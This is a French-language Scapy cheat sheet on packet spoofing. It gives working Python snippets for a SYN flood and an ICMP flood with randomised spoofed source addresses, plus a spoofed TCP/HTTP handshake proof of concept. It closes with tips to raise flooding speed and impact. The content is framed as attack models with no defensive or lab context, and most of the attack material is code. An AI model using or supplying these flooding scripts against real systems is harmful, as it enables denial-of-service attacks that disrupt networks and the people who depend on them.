Fiche Aide-Mémoire Scapy : Usurpation de Paquets (Packet Spoofing)

---

1. Concepts Fondamentaux du Spoofing

L'usurpation de paquets (spoofing) consiste à **falsifier l'adresse source** d'un paquet.

- **Usurpation d'Adresse (Spoofing)** : Utilisation de `RandIP()` pour remplacer votre adresse IP réelle par une adresse **aléatoire**.

  `IP(dst='CIBLE', src=RandIP())`

- **Ports Aléatoires** : Utilisation de `RandShort()` pour choisir un port source aléatoire.

  `TCP(sport=RandShort(), dport=80, ...)`

- **Empilement des Couches** : L'opérateur `/` empile les protocoles (ex: `IP / TCP`, `IP / ICMP / Raw`).

2. Méthodes d'Envoi des Paquets

- **Flux Rapide (`send()`)** : Envoie des paquets **sans attendre de réponse** (Idéal pour le *Flooding*).

  `send(paquet, verbose=False)`

- **Interaction (`sr1()`)** : Envoie un paquet et **attend une seule réponse** (Nécessaire pour l'établissement de sessions).

  `synack = sr1(ip/syn, timeout=1.0)`

3. Modèles d'Attaques par Flux (Flooding)

3.1. SYN Flood (TCP)

Envoi massif de **SYN** (`flags='S'`) avec IP spoofée pour épuiser les ressources de la cible.

```
ip = IP(dst='CIBLE', src=RandIP())
tcp = TCP(sport=RandShort(), dport=80, flags='S')
send(ip/tcp, verbose=False)
```

3.2. ICMP Flood

Envoie de requêtes **ICMP** (Ping) avec une charge utile volumineuse (`Raw`) pour saturer la bande passante.

```
load = b'A'* 1200
pkt = IP(dst='CIBLE', src=RandIP())/ICMP()/Raw(load=load)
send(pkt, verbose=False)
```

3.3. Handshake Spoofé (PoC TCP/HTTP)

Nécessite `sr1()` pour **recevoir le SYN-ACK** et calculer les valeurs `seq`/`ack` pour maintenir la session HTTP.

```
payload = 'GET / HTTP/1.1\r\nHost:  TARGET_IP\r\n\r\n'.encode('ascii')
send(ip/TCP(sport=syn.sport, dport=80, flags='PA')/payload, verbose=False)
```

4. Les Couches (Layers) Scapy et leurs Rôles

Ces classes représentent les protocoles réseau et permettent la personnalisation des en-têtes.

- `IP` (Réseau, Couche 3) : Contient l'adresse **Source** (`src`) et **Destination** (`dst`). *Cible principale du Spoofing.*

- `TCP` (Transport, Couche 4) : Gère les connexions. Champs critiques : `dport`, `sport`, `flags` (`'S'`, `'A'`, `'R'`, etc.).
- `ICMP` (Réseau, Couche 3) : Protocole de messagerie de contrôle (Ping, erreurs).
- `Raw` (Charge Utile) : Représente le **Contenu Brut** (`payload`) du paquet (ex: requête HTTP ou octets de remplissage).

5. Conseils d'Optimisation

- **Vitesse** : Réduisez le temps de pause (`sleep_sec`) pour un *Flooding* plus intense.
- **Impact** : Augmentez la taille du `payload` pour les attaques ICMP.